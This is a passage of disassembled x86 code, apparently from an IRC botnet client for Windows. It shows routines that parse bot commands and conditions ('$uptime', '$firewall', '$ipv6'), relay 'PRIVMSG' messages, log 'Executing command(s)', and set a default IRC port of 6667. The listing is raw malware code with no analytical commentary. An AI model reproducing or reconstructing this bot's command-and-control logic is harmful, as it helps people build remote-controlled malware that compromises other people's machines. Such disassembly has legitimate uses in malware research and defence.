		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------

loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h

loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF

loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DD08
		push	3B7h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576

loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2

loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896

loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------

loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0

loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DF00
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------

loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4

loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DF00
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------

loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4

loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DF00
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------

loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4

loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DF00
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------

loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4

loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DF00
		jmp	short loc_40C819
; ---------------------------------------------------------------------------

loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4

loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DF00
		jmp	short loc_40C838
; ---------------------------------------------------------------------------

loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4

loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------

loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF

loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------

loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EF98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F118
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp

loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------

loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0

loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------

loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------

loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------

loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------

loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A

loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------

loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax

loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0

loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------

loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------

loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------

loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------

loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------

loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------

loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------

loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------

loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41EA74
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E968
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41EA68
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------

loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41EA68
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E7E8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------

